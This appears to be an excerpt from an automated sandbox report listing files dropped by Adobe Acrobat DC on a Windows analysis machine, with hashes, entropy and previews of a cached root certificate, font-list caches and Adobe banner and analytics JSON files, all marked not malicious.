MD5:	E0AB8A94FD795F6A1121C927124E6CF0
SHA1:	CF917EBCDC7199C95AE28EDE0F21F81AA0ABB071
SHA-256:	482BB6A787E0B3F0F553FCFDCA14C9250B84B0C8D1433780F50952AAF637C761
SHA-512:	D5A2EFF2EE46A7A443D11D697DC22BA5918B1890EAF4D6259AF8F074560AD2AC49C6C77E32764BB5FBDDCBB4028036FDF9C2ACC69FB24FBCB4E61F48A6DEEABC
Malicious:	false
Preview:	.... .c......2.................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................T...[...b...r...t...}.....L..............................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Certificate, Version=3
Category:	dropped
Size (bytes):	1391
Entropy (8bit):	7.705940075877404
Encrypted:	false
SSDEEP:	24:ooVdTH2NMU+I3E0Ulcrgdaf3sWrATrnkC4EmCUkmGMkfQo1fSZotWzD1:ooVguI3Kcx8WIzNeCUkJMmSuMX1
MD5:	0CD2F9E0DA1773E9ED864DA5E370E74E
SHA1:	CABD2A79A1076A31F21D253635CB039D4329A5E8
SHA-256:	96BCEC06264976F37460779ACF28C5A7CFE8A3C0AAE11A8FFCEE05C0BDDF08C6
SHA-512:	3B40F27E828323F5B91F8909883A78A21C86551761F27B38029FAAEC14AF5B7AA96FB9F9CC93EE201B5EB1D0FEF17B290747E8B839D2E49A8F36C5EBF3C7C910
Malicious:	false
Preview:	0..k0..S............@.YDc.c...0....H........0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10...150604110438Z..350604110438Z0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10.."0....H.............0..........$s..7.+W(.....8..n<.W.x.u...jn..O(..h.lD...c...k....1.!~.3<.H..y.....!.K...qiJffl.~<p..)"......K...~....G.\|.H#S.8.O.o...IW..t../.8.{.p!.u.0<.....c...O..K~.....w...{J.L.%.p..)..S$........J.?..aQ.....cq...o[...\4ylv.;.by.../&.....................6....7..6u...r......I......A..v........5/(.l....dwnG7..Y^h..r...A)>Y>.&.$...Z.L@.F....:Qn.;.}r...xY.>Qx....../..>{J.Ks......P.\|C.t..t.....0.[q6....00\H..;..}`...).........A.......\|.;F.H..v.v..j.=...8.d..+..(.....B.".'].y...p..N..:..'Qn..d.3CO......B0@0...U...........0...U.......0....0...U......y.Y.{....s.....X..n0...*.H.............U.X....P.....i ')..au\.n...i/..VK..s.Y.!.~.Lq...`.9....!V..P.Y...Y.............b.E.f..\|o..;.....'...}~.."......

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	192
Entropy (8bit):	2.7321365340992054
Encrypted:	false
SSDEEP:	3:kkFkl3M1kPtfllXlE/HT8k5FzllltNNX8RolJuRdxLlGB9lQRYwpDdt:kKRuPeT8wFzVNMa8RdWBwRd
MD5:	DC33469EAE86A49E3F82267DC04BDB61
SHA1:	0BB258B19215709AB7B3DC27165D9898346160FF
SHA-256:	8A9B72ADC20D099AE74F892F86553669C4169E245ED43265C652C9CF64368903
SHA-512:	7E18144F300867E386161262971ECF0DC9E8D285B4FFF0A5DFC287858452EF22A8CB4B2837EE33DFDACD4E8A6F8381A650BFA60C1B314E4E4019EC649634CA42
Malicious:	false
Preview:	p...... .............c..(....................................................... ..........W....\...............o...h.t.t.p.:././.x.1...i...l.e.n.c.r...o.r.g./...".6.4.c.d.6.6.5.4.-.5.6.f."...

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.7660

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AcroFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AdobeFnt23.lst.7660

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\ACROBAT_READER_MASTER_SURFACEID

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.351029110135849
Encrypted:	false
SSDEEP:	6:YEQXJ2HXG2sz+A3WfHH9VoZcg1vRcR0YKzdWJqoAvJM3g98kUwPeUkwRe9:YvXKXG2sz/mvHEZc0vXQnGMbLUkee9
MD5:	84DB8C5C1D3F2D0E3511D8E661D049CB
SHA1:	84D87388536086801AB4C761855E071199B1ADC2
SHA-256:	F64A7FE53CFE4E72465598F175664E19BB455CADF18C3000622123408652D249
SHA-512:	2A78809C08A6B1F670AB3F0A019C9ADE61500B371B356C5114CD5F33F763717E3617FB6504E13A1A2118D82A67CD27A04DA7B8E6CD9BC9507BD095F080C3DFA1
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"51e64447-355b-4142-98a1-4e105efec386","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736735402483,"statusCode":200,"surfaceID":"ACROBAT_READER_MASTER_SURFACEID","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Home_View_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.299151484511939
Encrypted:	false
SSDEEP:	6:YEQXJ2HXG2sz+A3WfHH9VoZcg1vRcR0YKzdWJqoAvJfBoTfXpnrPeUkwRe9:YvXKXG2sz/mvHEZc0vXQnGWTfXcUkee9
MD5:	FC604508ADEC730EA4E7C57EA534F030
SHA1:	746FF31BCBC4033B29129514AA3DDD59ED837246
SHA-256:	C9FC980A5A0B4C810F32015B8B4E1DFA53297EC4B8EF9912A4326F535ECCDC21
SHA-512:	CB6DF9328337248FADFEEA810926834460C1E9FA0F7858693D17BB14B244D5848BA4823FB9B1DECB93B9628E061A5767F50026794AB7CD76D80420B8EAD68B36
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"51e64447-355b-4142-98a1-4e105efec386","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736735402483,"statusCode":200,"surfaceID":"DC_FirstMile_Home_View_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Right_Sec_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.278677667585972
Encrypted:	false
SSDEEP:	6:YEQXJ2HXG2sz+A3WfHH9VoZcg1vRcR0YKzdWJqoAvJfBD2G6UpnrPeUkwRe9:YvXKXG2sz/mvHEZc0vXQnGR22cUkee9
MD5:	53068DFAEF50BAE25FCF41E17950B30A
SHA1:	0B5374968DE8DFE967E6B6B748CDA732866E2D16
SHA-256:	FDFE90B03109FF5B3B41F0A8CD352020DF3ED2ADDD0CD7639260A05323E47E54
SHA-512:	99ED009131998573A8F59CDF92B4C803BEB62EAA2517893457170BEA595C28758999292BDB64825C3BEEFE672915836414AB4DE81D2103118F7284F57B478559
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"51e64447-355b-4142-98a1-4e105efec386","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736735402483,"statusCode":200,"surfaceID":"DC_FirstMile_Right_Sec_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_READER_LAUNCH_CARD

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	285
Entropy (8bit):	5.337606834710611
Encrypted:	false
SSDEEP:	6:YEQXJ2HXG2sz+A3WfHH9VoZcg1vRcR0YKzdWJqoAvJfPmwrPeUkwRe9:YvXKXG2sz/mvHEZc0vXQnGH56Ukee9
MD5:	DD9EB33C92E47CED0D8FF95F605E5441
SHA1:	6FF65F07D098B3E1E9178F172CBA26D717E3B3AC
SHA-256:	7AA4FEE939CA0599DA721AA1A8AD4501CA651B9A70E95D09CCC1F5B76361CCB3
SHA-512:	112B4A8682CF45127C9A637171B99DA25419F98B2714661A185D7330AD4D9730107B9B6BC401BAF8CA977D634E072E6A68EA95D6E5210BC633E0D650AFAFA5FB
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"51e64447-355b-4142-98a1-4e105efec386","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736735402483,"statusCode":200,"surfaceID":"DC_READER_LAUNCH_CARD","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Convert_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1123
Entropy (8bit):	5.690279328837304
Encrypted:	false
SSDEEP:	24:Yv6XGNmvHEzvppLgE9cQx8LennAvzBvkn0RCmK8czOCCSmY:YvDNmvsBhgy6SAFv5Ah8cv/mY
MD5:	45E0278BF535D5F4D815D4B2B12C530C
SHA1:	D97C8F1C2CF20879821552DEDFD4556A17790F31
SHA-256:	96569758BBE5DD3AD38A31522A2198D9D8C7D911A6B3D6EB63B2B5EFA4EDA8CB
SHA-512:	F7389F4C8B0A0C6D59C3CD6A1A47CD4157D1F580F2DB9DC4DD874C10FD6EF018FA789A99CB49717A9ED336C649A454880D717A1BC20B76D6B7FED3DB1399D2E0
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"51e64447-355b-4142-98a1-4e105efec386","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736735402483,"statusCode":200,"surfaceID":"DC_Reader_Convert_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Convert_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_1","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"d5bba1ae-6009-4d23-8886-fd4a474b8ac9","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Convert_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IkNvbnZlcnRQREZSZHJSSFBBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkV4cG9ydCBQREZzIHRvIE1pY3Jvc29mdCBXb3JkIGFuZCBFeGNlbC4ifSwidGNh

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.285811257193593
Encrypted:	false
SSDEEP:	6:YEQXJ2HXG2sz+A3WfHH9VoZcg1vRcR0YKzdWJqoAvJf8dPeUkwRe9:YvXKXG2sz/mvHEZc0vXQnGU8Ukee9
MD5:	FCCE1B99C8A194A5346ABE4A9284E3F2
SHA1:	FFB598306C2A2FA0AD831AB55E98233B0A32812B
SHA-256:	62D8B83F669B134C2348F47559F06C19EB9B29E14D451382BD5CD4AFC6A75404
SHA-512:	00236B579BCF68F501067A2498849F1014194ACE6DB8F62219D2E6122C2501A2EDB63BD5AAF3C1AF335EA885CCA9E0C4C5118331551E96EDAC6D838B7039611C
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"51e64447-355b-4142-98a1-4e105efec386","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736735402483,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	292
Entropy (8bit):	5.289013884514581
Encrypted:	false
SSDEEP:	6:YEQXJ2HXG2sz+A3WfHH9VoZcg1vRcR0YKzdWJqoAvJfQ1rPeUkwRe9:YvXKXG2sz/mvHEZc0vXQnGY16Ukee9
MD5:	8F8E0CC6C18FD359745C6CF34F145714
SHA1:	C1AAD316FAF070117122394690AB8CC3BA1C321D
SHA-256:	D846C73AB95EDC4C40D2A69270719ADE9B8E28AA9064041DAB15C244EBCC1B38
SHA-512:	8D69FB3EDE6568D1236507F0876C328E849835532542C3CF86E4DEEC98C4A0ED7FFA5C1E431479EF4C377893BB8964141470BDDB8FE38E7E82CD073AA64313FB
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"51e64447-355b-4142-98a1-4e105efec386","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736735402483,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Edit_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.296880815686332
Encrypted:	false
SSDEEP:	6:YEQXJ2HXG2sz+A3WfHH9VoZcg1vRcR0YKzdWJqoAvJfFldPeUkwRe9:YvXKXG2sz/mvHEZc0vXQnGz8Ukee9
MD5:	BCAD056812CA81EDE687FD83AE22C95F
SHA1:	DF7A8E777D586D3FEB028764D0A7583F5B61C454
SHA-256:	9C6723F78353C52F256A2715828EBC8973BCEEAEFC549886B1C1B41790084AC9
SHA-512:	06264E9B6C9C8F670B0369224CECBC5E334F5474E2A3B4B80C9CB1CE741023D298F1D278475BC224E3078E90AE84A0F0B12188C4A98307B2747C51AE091B279B
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"51e64447-355b-4142-98a1-4e105efec386","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736735402483,"statusCode":200,"surfaceID":"DC_Reader_Edit_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Home_LHP_Trial_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.310887611020358
Encrypted:	false
SSDEEP:	6:YEQXJ2HXG2sz+A3WfHH9VoZcg1vRcR0YKzdWJqoAvJfzdPeUkwRe9:YvXKXG2sz/mvHEZc0vXQnGb8Ukee9
MD5:	321B93262046B68A3FF14D899C0AF800
SHA1:	77362F4CDCCFFCA0A7EB4E7278C72DFB1F7FC217
SHA-256:	81CD0BE28A7B4276443A3E4B9A57F2FCB11D8A4AC8B64A7CB479995BDEE22274
SHA-512:	3745F00A990145E07C5A10196699B0E1C65860D94E2500908253AEA917D87004C3C3FF44B5AE96FF8169171B25903190321790BDC1F470E7F018CF9EA606EB0C
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"51e64447-355b-4142-98a1-4e105efec386","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736735402483,"statusCode":200,"surfaceID":"DC_Reader_Home_LHP_Trial_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_More_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.291061563195985
Encrypted:	false
SSDEEP:	6:YEQXJ2HXG2sz+A3WfHH9VoZcg1vRcR0YKzdWJqoAvJfYdPeUkwRe9:YvXKXG2sz/mvHEZc0vXQnGg8Ukee9
MD5:	7EB37934004975835D6551DCA78A9EE3
SHA1:	E5703E596688F9E7A63E825F3F71E04A9D1CE0C0
SHA-256:	4EBD6C2B6F190848342586F242C104F96AF886EDAFC53B0D31CCD4CF4E18856A
SHA-512:	B0B2539DB08F162B550CF6FDCE60EF6D510748D189518CDB77FBBF0125F47AC2BE9DF1B882910ECEE28FD7B21A1D5B81BB9B094D8CC6EE657D7005E8785D7949
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"51e64447-355b-4142-98a1-4e105efec386","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736735402483,"statusCode":200,"surfaceID":"DC_Reader_More_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	284
Entropy (8bit):	5.277803410163377
Encrypted:	false
SSDEEP:	6:YEQXJ2HXG2sz+A3WfHH9VoZcg1vRcR0YKzdWJqoAvJf+dPeUkwRe9:YvXKXG2sz/mvHEZc0vXQnG28Ukee9
MD5:	D754491FD36271D05406563759EA9E6F
SHA1:	AC289267D0D029C5CFC78E00DFC829D625DD2E12
SHA-256:	1DCDFE8D7F71FFE1EC19BFDC2AF87E848745CFD8790DAEC7DAAFFDB652187ECE
SHA-512:	E1029ECC42903AA94E7B0C55F6BE4A70962A6605A6693CB781CAF334992A6A9B587267D71509DD9C7FAB434033F0862078850AB661ADFCF9B3F58FE2A8CCED5A
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"51e64447-355b-4142-98a1-4e105efec386","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736735402483,"statusCode":200,"surfaceID":"DC_Reader_RHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Intent_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	291
Entropy (8bit):	5.274670093425201
Encrypted:	false
